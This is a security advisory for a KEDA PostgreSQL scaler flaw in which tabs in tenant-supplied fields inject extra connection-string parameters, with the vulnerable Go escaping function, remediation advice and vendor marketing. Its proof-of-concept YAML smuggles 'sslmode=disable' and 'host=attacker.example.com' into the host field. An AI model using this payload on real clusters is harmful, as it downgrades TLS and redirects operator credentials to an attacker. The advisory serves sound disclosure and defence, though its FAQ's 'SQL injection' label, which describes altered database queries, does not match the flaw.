Summary
KEDA has PostgreSQL connection string parameter injection via incomplete whitespace escaping
Full technical description
pkg/scalers/postgresql_scaler.go builds libpq-style connection strings by concatenating key=value pairs separated by spaces. Each tenant-controllable field (host, port, userName, dbName, sslmode) is passed through escapePostgreConnectionParameter:
func escapePostgreConnectionParameter(str string) string {
if !strings.Contains(str, " ") {
return str // returned as-is for any non-space whitespace
}
str = strings.ReplaceAll(str, "'", "\\'")
return fmt.Sprintf("'%s'", str)
}
The function only escapes when a literal space is present. Per libpq/pgx documentation, parameters are also separated by tabs, newlines, carriage returns, and form feeds, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like mydb\tsslmode=disable\thost=attacker.example.com splits into additional key=value tokens when parsed by pgx, injecting attacker-controlled connection parameters.
Vulnerable code
pkg/scalers/postgresql_scaler.go, lines 155–164 and 250–257.
Proof of concept
triggers:
- type: postgresql
metadata:
host: "legit.db.svc\tsslmode=disable\thost=attacker.example.com"
port: "5432"
userName: "keda"
dbName: "metrics"
sslmode: "require"
query: "SELECT 1"
After escapePostgreConnectionParameter (no space → returned unchanged), the resulting connection string is parsed by pgx into parameters that include host=attacker.example.com and sslmode=disable.
Resources
pkg/scalers/postgresql_scaler.go- libpq connection string parsing: https://www.postgresql.org/docs/current/libpq-connect.html#LIBPQ-CONNSTRING
Impact
Tenants with the ability to create a TriggerAuthentication or ScaledObject that populates any of host, port, userName, dbName, sslmode can:
- Force
sslmode=disableon a connection that the cluster owner intended to be TLS-only, silently downgrading to plaintext and enabling on-path MitM. - Redirect the connection to an attacker-controlled host (
host=...) to steal the credentials the operator supplies via thepassword=keyword. - Append arbitrary libpq runtime parameters (
options=,application_name=,target_session_attrs=) to pivot behavior.
Note: the password parameter is appended last in buildConnArray, which limits but does not eliminate credential exfiltration, injected host= still redirects the subsequent password= keyword's target.
Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access. Typical impact: data disclosure or modification.
CVE-2026-53572 has a CVSS score of 5.9 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.20.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
- Escape / reject any ASCII whitespace (
\t,\n,\r,\f,\v, space) and backslash. - Prefer the URI form (
postgres://user:pass@host:port/db?sslmode=require) with proper URL-encoding. - Validate each field against an allow-list pattern before use.
Frequently Asked Questions
- What is CVE-2026-53572? CVE-2026-53572 is a medium-severity SQL injection vulnerability in github.com/kedacore/keda/v2 (go), affecting versions < 2.20.0. It is fixed in 2.20.0. Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access.
- How severe is CVE-2026-53572? CVE-2026-53572 has a CVSS score of 5.9 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/kedacore/keda/v2 are affected by CVE-2026-53572? github.com/kedacore/keda/v2 (go) versions < 2.20.0 is affected.
- Is there a fix for CVE-2026-53572? Yes. CVE-2026-53572 is fixed in 2.20.0. Upgrade to this version or later.
- Is CVE-2026-53572 exploitable, and should I be worried? Whether CVE-2026-53572 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-53572 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-53572? Upgrade
github.com/kedacore/keda/v2to 2.20.0 or later.